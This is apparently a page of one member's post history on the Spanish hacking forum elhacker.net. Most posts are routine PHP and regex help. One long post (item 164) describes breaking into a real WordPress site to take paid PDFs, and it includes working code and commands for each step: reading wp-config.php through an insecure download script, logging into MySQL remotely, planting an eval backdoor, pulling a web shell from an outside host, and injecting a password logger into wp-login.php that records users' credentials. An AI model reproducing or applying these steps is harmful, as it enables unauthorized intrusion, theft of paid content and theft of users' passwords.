elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 111
161  Seguridad Informática / Nivel Web / Re: duda sobre error_reporting y SQLi en: 23 Agosto 2012, 00:58 am
así es.
162  Seguridad Informática / Nivel Web / Re: duda sobre error_reporting y SQLi en: 22 Agosto 2012, 14:27 pm
LOL
163  Seguridad Informática / Nivel Web / Re: duda sobre error_reporting y SQLi en: 22 Agosto 2012, 01:31 am
una de las fases antes de realizar un PENTEST es recolectar información tanto por FOOTPRINTING o FINGERPRINT, y provocar un error muchas veces suele dar datos muy jugosos como un PATH, sqli basadas en errores,IP's,version del servidor etc.. , claro está que evitando estos en muchos casos no conseguiras mitigar ataques pero creo que es una buena forma de hacer las cosas. ;)

por cierto hay muchos ataques que se basan en errores, tanto de programacion como de configuracion del servidor.



Claro hay muchísimos ataques que se basan en errores, pero estas hablando en general, en este caso nos referimos a errores de programación a nivel web y mayormente los errores que se provocan al nivel web son errores de sintaxis, las otra parte de errores son bug's en algunas funciones que hacen que provoquen error.

En este tema abarca, lenguajes que se ejecutan al lado del cliente como javascript y los del lado del servidor PHP, Python, Perl, Java, etc... Porque si atacamos a los servicios que corren en un servidor ya es otro tema esa.

Si estas buscando vulnerabilidades en un CMS de PHP, como por ejemplo SMF y comienzas a tratar de provocar errores para poder encontrar vulnerabilidades, vas MUY MAL.

Recordando claro que en este tema se hablo sobre error_reporting que es una función de PHP y de SQLI, así que el tema circula sobre PHP.

Saludos.
164  Seguridad Informática / Nivel Web / Re: duda sobre error_reporting y SQLi en: 21 Agosto 2012, 15:18 pm
Código:
[code]
Un error de PHP no indica que una web es vulnerable, pero si se provoca el error de forma concierte puede indicar que la web es vulnerable como en el caso de SQLI. Pero en lo personal, la peor forma de buscar vulnerabilidades es a partir de provocaciones de error, porque simplemente no sabe lo que hace.

La mejor formar, es saber qué por si solo un código PHP no se vulnera/explota así mismo, el problema viene cuando el sistema necesita utilizar información dada por el usuario, entonce hay que verificar hacia donde va la información, en que parte se utilizas y cuando conozcas hacia donde va y como utiliza la información, y sepas como funciona todo, tendrás que pensar en alguna forma de manipular la información, de forma que realice una acción que desees.

Para esto no vale que sepas SQLI, LFI, RFI, XSS o hagas una lista de todas las vulnerabilidades que conoces y la vayas descartando cada una. Aqui vale la logica y mientra mejor sea tu nivel de programación, mas rápido detectaras errores lógicos que puedas aprovecharte y vale mucho los trucos que sepas.


Por ejemplo, hace como 1 mes estaba navegando por internet, buscando un tipo de información especifica (nada de programación, hacking ni nada similar, algo personal), encontré una pagina muy buena, que vendía un material en PDF. Me puse a navegar, a ver si encuentro el archivo por hay y nada. Entonce opte por ingresar a su servidor y bajarme el archivo PDF directamente.

La web estaba en wordpress. Revisando los post, encontré un post que hacia una descarga directa a un archivo que tenia de muestra, este archivo tenia un parámetro, que se utilizaba para descargar un archivo especifico y bueno, le quite el parametro de forma que quede el archivo solo: web.com/archivo.php y me hizo una descarga directa al archivo.php y bueno este es el codigo del archivo.php.

Código
  1. <?php
  2.    $f = $_GET["f"];
  3.    header("Content-type: application/octet-stream");
  4.    header("Content-Disposition: attachment; filename=\"$f\"\n");
  5.    $fp=fopen("$f", "r");
  6.    fpassthru($fp);
  7. ?>

Como el sistema que utilizaba era wordpress, descarge el archivo wp-config.php con la idea de conectarme remotamente por MYSQL, recordando que el archivo.php, se encontraba en la raiz del servidor y el archivo wp-config.php tambien se encuentra en la raiz, solo debi pasar el parámetro del archivo wp-config.php

web.com/archivo.php?f=wp-config.php

Descarge el archivo wp-config.php
Código
  1. // ** Ajustes de MySQL. Solicita estos datos a tu proveedor de alojamiento web. ** //
  2. /** El nombre de tu base de datos de WordPress */
  3. define('DB_NAME', 'wp_sys');
  4.  
  5. /** Tu nombre de usuario de MySQL */
  6. define('DB_USER', 'user_bd');
  7.  
  8. /** Tu contraseña de MySQL */
  9. define('DB_PASSWORD', 'MysqlPass');
  10.  
  11. /** Host de MySQL (es muy probable que no necesites cambiarlo) */
  12. define('DB_HOST', 'localhost');
  13.  

Luego me conecte de forma remota a la base de datos MYSQL, primero que nada le hice un ping a la web para conocer su IP para así pasarle el parámetro.

Código
  1. yoya@Debian:~$ mysql -h 182.94.110.121 --user=user_bd --password=MysqlPass
  2. Welcome TO the MySQL monitor.  Commands END WITH ; OR \g.
  3. Your MySQL connection id IS 1125935
  4. Server version: 5.1.38-log SOURCE distribution
  5.  
  6. Copyright (c) 2000, 2011, Oracle AND/OR its affiliates. ALL rights reserved.
  7.  
  8. Oracle IS a registered trademark OF Oracle Corporation AND/OR its
  9. affiliates. Other names may be trademarks OF their respective
  10. owners.
  11.  
  12. TYPE 'help;' OR '\h' FOR help. TYPE '\c' TO clear the CURRENT INPUT statement.
  13.  
  14. mysql> USE wp_sys;
  15. DATABASE changed
  16. mysql> SHOW TABLES;
  17. +-----------------------+
  18. | Tables_in_wp_sys      |
  19. +-----------------------+
  20. | wp_commentmeta        |
  21. | wp_comments           |
  22. | wp_links              |
  23. | wp_options            |
  24. | wp_postmeta           |
  25. | wp_posts              |
  26. | wp_snews_members      |
  27. | wp_term_relationships |
  28. | wp_term_taxonomy      |
  29. | wp_terms              |
  30. | wp_usermeta           |
  31. | wp_users              |
  32. +-----------------------+
  33. 12 ROWS IN SET (0.18 sec)
  34.  
  35. mysql>

Bueno luego cambie la password del admin, por el mio para poder entrar a la administración y subir shell. Recordando que wordpress, utiliza phpass, el password que utilice debe ser un password phpass para que funcione.

Lo cambie y todo, entre al sistema de administración de WordPress, me fui al lado de los plugins y había un editor de archivo y le agregue esta linea
Código
  1. <?php eval($_GET['e']); ?>
.

Y bueno ahora subi la SHELL.

Código
  1. web.com/wp-plugin/pluginNAME/file.php?e=file_put_contents('shell.php',file_get_contents('http://www.example.com/shell.txt'));

Y bueno ahora solo queda ir a la dirección de la SHELL que seria:

Código:
web.com/wp-plugin/pluginNAME/shell.php

Y bueno ya tenia la shell en el servidor, pero me fije que el archivo no se encontraba en ese servidor sino en otro que tenia, en ese otro servidor tenia otros documentos para vender, y el otro servidor usa WordPress y de casualidad tiene el mismo archivo de descarga en el mismo lugar.

Hice lo mismo paso de arriba pero con la diferencia, en que no me permite la conexión MYSQL remotamente.

Luego se me ocurrió probar entrar a la administración con el mismo pass que utiliza el administrador en su primera web (en la que pude subir shell), y bueno se me ocurrió capturar su password en texto plano, así no tengo que descifrar sus el hash generado por phpass y ahorrarme muchísimo tiempo.

Agregue esta linea al archivo wp-login.php
Código
  1. <?php
  2. if(!empty($_POST['wp-submit']) && !empty($_POST['log']) && !empty($_POST['pwd'])) {
  3.  
  4.    if($_POST['wp-submit'] == 'Acceder') {
  5.  
  6.    $f = fopen('wp.txt',"a");
  7.     fputs($f, $_POST['log'].':'.$_POST['pwd']."\n");
  8.  
  9.    fclose($f);
  10. }}
  11. ?>

Cada vez que alguien intente loguearse, capturare su usuario y password y creare un archivo wp.txt con su user y pass, para luego revisarlo, la estructura del archivo wp.txt es la siguiente:

Código:
user:pass
Anonww:wwxDDF

He hecho unos testeo haber si todo marcha a la perfeccion y si, todo va bien pero todavia no he capturado su usuario y pass pero el ha posteado varias veces. Supongo que es porque la primera vez que se logueo le dio a recordar y por eso no ha tenido que ingresar su usuario y password, o puede ser que al introducir datos correctos, no llegue a pasar por esa linea de codigo y por lo tanto nunca llega a guardar su usuario y password. Luego tendre que hacer unas pruebas, haber porque solo me captura el usuario y password cuando me intento loguear con datos incorrecto.

Saludos.

fxf
165  Seguridad Informática / Nivel Web / Re: ayuda con supuesto hash MD5(Unix) en: 21 Agosto 2012, 14:54 pm
Es un hash generado por PHPASS, contiene un salt que es random y varia el hash aunque el texto descifrado sea el mismo.

En la lista que pusiste, debes usar la opcion "400 = phpass, MD5(Wordpress), MD5(phpBB3)".

Saludos.
166  Programación / PHP / Re: Ayuda con expresion Regular en: 19 Agosto 2012, 16:04 pm
Tienes dos problemas.
  • El primero es que estas utilizando una Meta-Secuencias que no deberias utilizar en este caso. Que es \W
  • El segundo problema es que debes hacer que la expresión finalice al encontrar la primera coincidencia y no la ultima coincidencia

La razón porque en este caso no debes utilizar la Meta-Secuencia \W, es porque estas combinando \w y \W en un campo de carácter ([\w\W]), con eso vas a tomar cualquier caracteres, ya sea alfa-numérico, signos, caracteres raro, TODO. En este solo necesitas utilizar \w, ya que solo estas capturando una cadena de caracteres del abecedario.

El otro problema es que debes hacer que finalice al encontrar la primera coincidencia y no a la ultima coincidencia. Para esto utilizas el cuantificador ? en combinación al cuantificador + o *.

Código
  1. preg_replace('/opini[\w]+n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');
Salida:
Código:
mi OPINION es que lo que no comen lo bota


Y utilizando ?, para que termine en la primera coincidencia.
Código
  1. preg_replace('/opini[\w\W]+?n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');
Salida:
Código:
mi OPINION es que lo que no comen lo bota


Esto seria lo correcto para tu caso:
Código
  1. preg_replace('/opini[\w]+?n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');
Salida:
Código:
mi OPINION es que lo que no comen lo bota


Te recomiendo esta web para que pruebes tus regex, yo siempre la utilizo: Regex Tool.

Saludos.
167  Programación / PHP / Re: PHP, PDO y Oracle en: 17 Agosto 2012, 02:05 am
yo XAMPP lo he utilizado una sola vez, siempre acostumbro a instalar todo por separado y luego configurarlo. Nose si tendrás problema para hacerlo funcionar con XAMPP ya que todo viene, pre-configurado para que funcione con PHP, MYSQL y Apache.

Te recomiendo que instales todo los servicio por separado y te acostumbre a leer la documentación oficial de los sitios. La documentación sobre la configuración de software en lo sitios oficiales, basta para poder configurar bien un software. Ya que ese tipo de informacion es esencial.

Installing Oracle Database, PHP, and Apache on Microsoft Windows XP

Saludos.
168  Foros Generales / Foro Libre / Re: Si una chica se corta el pelo , créeis que pierde feminidad ?? en: 17 Agosto 2012, 00:17 am
No te voy a decir que gana o pierde feminidad, pero te digo que las mujeres con el pelo largo se ven muy femeninas. A mi me han gustado bastante mujeres con el pelo semi-largo y largo, pero me gusta ver a las mujeres con el pelo largo.

Saludos.


169  Programación / Desarrollo Web / Re: Expresión regular en javascript para quitar tags en: 24 Julio 2012, 05:45 am
Este patron eliminara todos los tags.

http://jsfiddle.net/srUdp/
Código
  1. var Cadena = 'asd<strong>asd</strong> <strong>asd</strong> <strong>asd</strong>asd asd<strong>asd</strong>asd';
  2.  
  3. var result = Cadena.replace(/(?:<[^>]+>)/gi, '');
  4. document.write(result);

Result:
Código:
asdasd asd asdasd asdasdasd

Te recomiendo esta pagina para que testes tu expresiones regulares -> http://regex.larsolavtorvik.com/

Saludos.
170  Seguridad Informática / Nivel Web / Re: Bypass Recaptcha y cualquier otra en: 19 Julio 2012, 04:51 am
Entonce supongo que el error debe ser que el script no este obteniendo el código de fuente de la web o le este pasando una URL erronea o quizas se ha renovado el codigo que utilizan para utilizar ReCaptcha y por eso no funciona.

Igual el source es solo un PoC (Prueba de conceptos), que el plan es demostrar que se puede realizar el bypass no es un exploit ni nada similar.

Saludos.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 111
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines